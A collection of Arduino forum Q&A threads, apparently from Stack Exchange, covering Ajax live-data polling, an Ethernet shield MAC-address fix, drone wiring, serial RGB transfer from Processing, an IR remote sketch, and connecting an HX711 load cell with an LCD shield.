Notice that the data processing (Celsius → Fahrenheit conversion, dew
point calculation, converting the rain reading to words) is now done by
the client. The live data is retrieved from the server using Ajax, aka
XMLHttpRequest():
function requestLiveData() {
    var request = new XMLHttpRequest();
    request.onreadystatechange = function() {
        if (request.readyState != 4) return;
        if (request.status != 200) {
            alert("Ajax request failed: "
                + "status = " + request.status);
            return;
        }
        var data = JSON.parse(request.responseText);
        updatePage(data);
    };
    request.open("GET", "/live_data");
    request.send(null);
}

You may have noticed the last line of the window.onload function is
setInterval(requestLiveData, 5000);

which means the requestLiveData function above will be automatically
called every 5000 ms.
Now, the only thing your server has to do is answer a request for
GET /live_data by sending the raw data as "application/json". It
should look like this:
{"temperature":15,"humidity":48.3,"rain":500,"soilMoisture":22}


text:
Arduino using Ethernet shield WebClient example code is not working
I'm using an Arduino Uno and Ethernet shield with the WIZnet chip W5100. The WebServer code example is working. DHCP is working, the Ethernet shield is receiving an IP address from the Linksys modem "router" and everything is fine.
But I cannot connect to a web site using the WebClient code. I found out that client.connect(server, 80); is returning -1 "Time_OUT" and it is supposed to return 1 according to the Arduino Ethernet library.
I tried connecting to different websites. I tried assigning an IP address manually, not using DHCP. I tried making pin 4 of the SD memory card SPI to output pinMode(4, OUTPUT); digitalWrite(4, HIGH); But it doesn't work. I get on my Serial line connection failed or it returns "connected" then "Disconnecting..." immediately after because client.connect has returned -1.
The example code I'm using:
#include <SPI.h>
#include <Ethernet.h>

// Enter a MAC address for your controller below.
// Newer Ethernet shields have a MAC address printed on a sticker on the shield
byte mac[] = { 0x28, 0xAD, 0xBE, 0xEF, 0xB9, 0xED };
// if you don't want to use DNS (and reduce your sketch size)
// use the numeric IP instead of the name for the server:
//IPAddress server(74,125,232,128);  // numeric IP for Google (no DNS)
char server[] = "www.google.com";    // name address for Google (using DNS)

// Set the static IP address to use if the DHCP fails to assign
IPAddress ip(192, 168, 1, 177);

// Initialize the Ethernet client library
// with the IP address and port of the server
// that you want to connect to (port 80 is default for HTTP):
EthernetClient client;

void setup() {
  // Open serial communications and wait for port to open:
  Serial.begin(9600);
  pinMode(4, OUTPUT);
  digitalWrite(4, HIGH);
  while (!Serial) {
    ; // wait for serial port to connect. Needed for native USB port only
  }

  // start the Ethernet connection:
  if (Ethernet.begin(mac) == 0) {
    Serial.println("Failed to configure Ethernet using DHCP");
    // try to congifure using IP address instead of DHCP:
    Ethernet.begin(mac, ip);
  }
  // give the Ethernet shield a second to initialize:

  Serial.println("connecting...");
  delay(2000);
  Serial.println(Ethernet.localIP());

  // if you get a connection, report back via serial:
  if (client.connect(server, 80)) {
    Serial.print(client.connect(server,80));
    Serial.println();
    Serial.println("connected");
    // Make a HTTP request:
    client.println("GET /search?q=arduino HTTP/1.1");
    client.println("Host: www.google.com");
    client.println("Connection: close");
    client.println();
  } else {
    // if you didn't get a connection to the server:
    Serial.println("connection failed");
  }
}

void loop() {
  // if there are incoming bytes available
  // from the server, read them and print them:
  if (client.available()) {
    char c = client.read();
    Serial.print(c);
  }

  // if the server's disconnected, stop the client:
  if (!client.connected()) {
    Serial.println();
    Serial.println("disconnecting.");
    client.stop();

    // do nothing forevermore:
    while (true);
  }
}

This is my output:

Using a local server IP address like my router's IP address, the connection works. But the issue is mainly in the WAN. Any help would be appreciated.

Have you tried using numeric server IP address (i.e. server(74,125,232,128))?

Also, Serial.print(client.connect(server,80)); seems to establish a second connection without using the first one. Did you want to print a string on the terminal instead of actually running the function?

Before adding this line it was the same issue this line is just returning the result for me. Yes i used numeric ip so i wont use DNS and doesn't work. Im afraid its a modem issue because the same setup with the same shield and same arudino with the same code worked on another network.

@DmitryGrigoryev By the way my shield came without a mac address printed on it and i'm using a random mac address. Could this be an issue?

Don't cross post

@gre_gor i didn't know about the Arduino stackexchange is already found i will delete it from stackOverFlow.

This doesn't look right:
if (client.connect(server, 80)) {
    Serial.print(client.connect(server,80));
    ...

If the first call to client.connect() succeeds, you call it again immediately, and the error message you're seeing comes from that second call. This really is not surprising — I can't imagine a scenario in which that would actually work.
What you really want is something more like:
if (result = client.connect(server, 80)) {
    Serial.print(result);
    ...

This is not an issue Dave your way will work and my way is working. Im just retrieving the result and it is working and writing -1 on the serial line.

That's strange ... I could've sworn that you said it wasn't working. My bad. In that case, we'll send this over to Arduino.SE where they might be able to help you with the details of that particular library.

Thanks Dave. I tried also using the ip address i get no result at all from the client.connect() so connection fails.

Have you tried getting the result code like he suggested? Using the IPAddress and not the string, if it still doesn't connect and nothing is printed, then it means connect() returns 0. Try opening the EthernetClient source and adding a few print()s in connect() to find out the exact condition that causes the 0 return code. Though this looks like a connection issue since getHostByName() is failing just like connect(). You sure your modem is connected to the net?

@TisteAndii thanks for your help. The issue was in the mac address. Because my shield has no mac address and i was using a well known manufacturer mac address so it wasn't completing the connection with the google server and it was dropping it.

I resolved my problem:
The problem was in the mac address itself. When i used the mac address given by the example itself the connection didn't fail and client.connect() returned 1.
I used this mac address instead of the one in the code above:
byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };


text:
How to wire a small quadcopter drone with resistor and breadboard (If possible)?
http://www.instructables.com/id/SpeechVoice-Controlled-Arduino-Drone/?ALLSTEPS
Hi guys!
I am following this project but I do however not have all the items currently at home so I was thinking if there is an optional solution.
I do not have any resistors or a breadboard currently at home so I was wondering if there is an optional solution.
What I have is, arduino uno + arduino mini and hc-05 bluetooth and of course 4 small drone motors. On top of this I have TIP-122 transistors and a l293d motor driver.
Could I somehow make it work with that considering i do not have resistors or a breadboard at home?
I know how to solder of course so if I need to solder wires that is not a problem. I appreciate any help very much!!

That's not a breadboard, that's a PCB.

Resistors are probably the single most basic item that every EE needs without question. A good selection of the common ones.

You need resistors where that article puts them, otherwise you could brownout the whole thing. You may be able to get away without a PCB, at the cost of reduced stability. Find or borrow the three resistors needed for the project, and then I recommend that you order both a large pack of 1% resistors as well as a variety of PCBs when you are able to.

As already pointed out, you won't be able to finish that project without using resistors because your Arduino mini pins at most support 40 mA (as far as I recall - please check the datasheet). Those resistors are there to limit your pin current. (However in that case, 100 ohms is too low, please use 220 ohms for your sake!)
What you can do is:

Find some scrap electronics at home and remove the resistors
Let this become an interesting project and do something like this: http://www.instructables.com/id/DIY-Power-Resistor/

Other than that, in my opinion, you can get away with not having a breadboard or PCB. Just make sure that the wires in no case touch each other (this thing will be flying and dropping for sure!) or you'll end up burning one of those chips.
Also, keep in mind that if you short that lipo battery, there is a significant risk of fire/toxic gas hazard. So I would try this outside, away from people.


text:
Send Color value from Processing into Arduino
I know this has been asked before, but I'm new to Arduino and Processing, and I'm trying to take this step by step.
I would like to pass an RGB value from processing, into Arduino via the Serial.Write/Read.
I have my Processing as:
void draw(){

  //orange colour in RGB values
  color _rgbColor = color(255, 40, 0);

  //convert colour into hex
  String _hexColor = hex(_rgbColor, 6);

  //convert colour into binary
  String _binaryColor = binary(_rgbColor);

  //pass colour to port
  myPort.write(_hexColor);
  delay(500);
}

I assume I can just pass the HEX value straight across, right?
First problem I get is that I can't debug what my Arduino device is getting (when I run the Processing program, the Serial Monitor wont work. Seems like I can only use one or the other). I can print the myPort.read within my Processing after the delay, and I get:

-1

So I'm not quite sure what I'm doing wrong there.
On the Arduino side, I'm using Serial.read() to retrieve the Serial data, which I assume will all be broken down into bytes, so I need to then convert it into a HEX formate, right?
----- Update -----
I now know that I need to break down my color variable into a char-message. I'm guessing I can do something like this then, for example: And then on the other side (Arduino), I need to rebuild the message, right?
if(mousePressed == true){
    //Red
     myPort.write('2');
     myPort.write('5');
     myPort.write('5');
     myPort.write(',');

     //Green
     myPort.write('0');
     myPort.write('3');
     myPort.write('0');
     myPort.write(',');

     //Blue
     myPort.write('0');
     myPort.write('0');
     myPort.write('0');
     myPort.write('\n');
  }

My Arduino script is as follows, is this an okay route to go down?
String message;
void loop() {

  int _size = Serial.available();

  if(_size > 0){

    char value = Serial.read();
    message += value;

    //full message received (255,255,255)
    if(message.length() == 11){
      String _red = message.substring(0,3);
      String _green = message.substring(4,7);
      String _blue = message.substring(8,11);
      Serial.println("R:" + _red + " G:" + _green + " B:" + _blue);

      //apply to light system
      setColour(_red.toInt(), _green.toInt(), _blue.toInt());

      //clear buffer
      message = "";
      Serial.flush();
    }
  }
}

You should digest this first: https://hackingmajenkoblog.wordpress.com/2016/02/01/reading-serial-on-the-arduino/

Also you should understand exactly how the UART protocol (RS-232) works.

Surely someone, somewhere has already made a defined script for this? To simply pass a colour variable to the Serial?

Many people have, yes. It is a simple enough operation once you understand how a UART works that it becomes a non-entity and you don't need to really worry about finding special code for it.

The simplest way is to print the three colour values as a comma-separated line, maybe with a prefix character to indicate the start (C23,49,119\n for example). Then it is a case of reading that string and interpreting it properly.

Okay yes, I now understand that the serial reads one character at a time, thus I need to break down the 'color' to something like '225,40,0\n'. And then rebuild it once received all.

Yep, you got it. I think processing's Serial.write() just sends one character, so the lowest 8 bits of your HEX colour. You need to print it in such a way that the whole of the data is there, and that takes multiple characters. ASCII is a simple way of doing it, though not very efficient. Quick and dirty is all you need for this though really.

It also means you can test it easily with the Arduino serial monitor directly without needing your processing program - great for getting the Arduino code right first.

I've updated my question, does that now make sense? Am I heading in the right direction?

You can probably compress it down using myPort.print("255,030,000\n"); or even myPort.print(red); myPort.print(green); myPort.println(blue); where red, green and blue, are integer variables.

You need some sort of delimiter or you won't know where one number ends and the next one starts.

@NickGammon Hello, what do you mean? Surely when the current number ends, and the next on starts is when the next Serial.read comes in?

Updated my question.

I was commenting on @Majenko's comment. Doing a "print" on its own is likely to suppress leading zeroes, so you won't be able to tell the difference of 142 being 1 followed by 42, or 14 followed by 2.

Oops, forgot to add myPort.print(","); in between them. My bad.

As for Serial reads, Serial is a streaming protocol. You don't "read a number" you read a byte. You have no way of knowing when a "number" ends except for the passage of time, fixed length numbers, or finding some delimiter (usually the delimiter would be a "not number").

I knew Majenko would realize that, I added the comment for the benefit of others reading these comments. :)

Being Java, in processing you could also: myPort.println(String.format("%d,%d,%d", red, green, blue));

@Majenko Thanks for that reply - but could you elaborate, what does that exactly do differently? '%d'

%d indicates the presence of an integer in the output string. It formats the string with three numbers from variables with commas between them then outputs it. No messing around with multiple prints.

Add print(_hexColor); to you processing sketch. The value it's sending should appear in the Processing Console (at the bottom)

I know I'm late, but actually got a working solution, when I was working out a solution for this.
Code in Processing assuming variable myPort is handled in setup():
void draw() {
    int r = 255;
    int g = 123;
    int b = 2;
    myPort.write('S'); // tell the arduino to do something with leds
    myPort.write(r);
    myPort.write(g);
    myPort.write(b);
}

Code for Arduino loop:
void loop() {
  int r;
  int g;
  int b;
  if(Serial.available()) {
    if(Serial.read() == 'S') {
      while(!Serial.available()){}
      r = Serial.read();
      while(!Serial.available()){}
      g = Serial.read();
      while(!Serial.available()){}
      b = Serial.read();
    }
    delay(10); // some recovery time, not sure if nessecary

    // do something with rgb values
  }
}

This works for me with every possible RGB range. It's not the most elegant solution, but by far better then converting between strings/chars and ints with different bit counts on different devices.

002 is an octal number. In this case it's still 2, but 020 would be 16. Don't use leading zeros, unless you actually want octal numbers.

you're right, I wrote this on the fly!


text:
I want to change my "serial monitor" command to push button command for IR cloning project
void loop() {
  char data[6];
  int index = 0;

  delay(1000);  //Serial input seems to need some kind of short delay or the data gets screwed up.

  while (Serial.available() > 0) {            //Loop if there data on the serial line
    if (index < 5) {                          //Make sure we don't overflow
      data[index] = Serial.read();            //Load a character into the string
      index++;                                //Increment the index to get the next character
    }
  }

  data[5]='\0';  //Null terminate the string

  if (strcmp(data, "POWER") == 0){                //If the Arduino receives the POWER signal...
    Serial.println("SENDING SIGNAL!");
    for (int i = 0; i < NumIRsignals; i+=2) {         //Loop through all of the IR timings
      pulseIR(IRsignal[i]*10);              //Flash IR LED at 38khz for the right amount of time
      delayMicroseconds(IRsignal[i+1]*10);  //Then turn it off for the right amount of time
    }
  }                                         //Otherwise do nothing!
}

// This function allows us to PWM the IR LED at about 38khz for the sensor
// Borrowed from Adafruit!
void pulseIR(long microsecs) {
  // we'll count down from the number of microseconds we are told to wait

  cli();  // this turns off any background interrupts

  while (microsecs > 0) {
    // 38 kHz is about 13 microseconds high and 13 microseconds low
   digitalWrite(IRledPin, HIGH);  // this takes about 3 microseconds to happen
   delayMicroseconds(10);         // hang out for 10 microseconds, you can also change this to 9 if its not working
   digitalWrite(IRledPin, LOW);   // this also takes about 3 microseconds
   delayMicroseconds(10);         // hang out for 10 microseconds, you can also change this to 9 if its not working

   // so 26 microseconds altogether
   microsecs -= 26;
  }

  sei();  // this turns them back on

And what exactly is the problem? We aren't a code writing service.

Purav Vashisht, please edit your question to include a Minimal, Complete, and Verifiable example of code, not just snippets.  Also note that your question is going to be closed pretty soon unless you edit it to include a clearly stated question.  Or at least a question.

//Serial input seems to need some kind of short delay or the data gets screwed up. - Wrong, wrong, wrong! Read this: https://hackingmajenkoblog.wordpress.com/2016/02/01/reading-serial-on-the-arduino/

Please specify your question.

Please read How do I ask a good question?. Your "question" just seems to be some code. The subject title doesn't really clarify what the question is.

Identify the code which collects the characters from the serial port.  Then remove it.
Also remove the line of code which check to see if the correct character sequence was received.
Replace the above check with code that tests if a button has been press.

Note:

Mechanical buttons bounce!
And software is fast enough to see this as multiple button presses.

Avoid problems by going here and learning how to connect buttons to an Arduino and de-bounce buttons in software.


text:
LCD Shield and Arduino
I am trying to use a load cell (https://www.sparkfun.com/products/13331?_ga=1.55586472.2060096590.1479826091) and an HX711 chip with an arduino and LCD shield to display weight values on the LCD shield  when weight is added to the load cell. Does anyone know how I can connect all of these together?
Mainly, how do I connect the HX711 to the arduino while the LCD shield is already on the arduino?
Any help is welcomed , thanks.
Here is the LCD shield I am using I am using:
LCD Shield- https://www.dfrobot.com/index.php?route=product/product&product_id=51
Arduino- not sure which type of arduino to use.

You need to do a bit more research on your own. That load cell + HX711 is just a sensor and it connects to the Arduino in a way that many sensors do. Use Google to find projects like a thermometer with LCD readout and see how the sensor is connected there. Also research the differences (and commonalities) between the Arduino boards, that information can easily be found.

Note: While looking at specifications can infer compatibility, there is no substitute for prototyping.  It is always better to try something then ask for suggestions if it does not work as expected.
That said, I would suggest to look at the LCD you specified.  The LCD's physical shape appears to lock you into a legacy Arduino Uno layout.
On the LCD's web page is a list of pins used.
On the HX711 sparkfun.com web page is a diagram of pins used when using their HX711 software.
Check if there are any conflicts.  Even if there are none, it does not mean there will be no conflicts within the software you will need to run the LCD and the HX711.  You will have to either find someone who has successfully done exactly what you want to do or examine all the software involved your self.  Of course you could simply prototype the project to see if it works.

thank you for the feedback. I have been looking at this video on youtube (https://www.youtube.com/watch?v=6pzZ0NfQmsY) and it is exactly what I am trying to build however I cannot tell what he is using to connect his HX711 to the arduino. It appears the LCD shield is attached on top on the arduino, but I cannot see where the white wire to the arduino is connected. Any ideas?

He does not say, does he?  He does not even list his software - as there are youtube comments asking for it.  So it is not a good source of information.  Until you are more familiar with working with Arduinos, you should probably find reputable sources which publish good documentation and answer questions by email or in forums. I would suggest looking more closely at the link in the answer.  I believe if you do you will find not only where to connect the sensor but also where to get the software for the sensor.

It is fairly straight forward.

Read the data sheet to find out how you can communicate to hx711. There are tons of example code out there. I have a set of them for my own use as well. The device is quite simple to program too.
Find a few pins on the Arduino and configure your code, or others code, to use those pins.
I corporate that into your existing code.

That's like how you would approach 99.99 percent of the embedded project - read the data sheet and Code to the data sheet.
If you do run into specific issues, ask them here.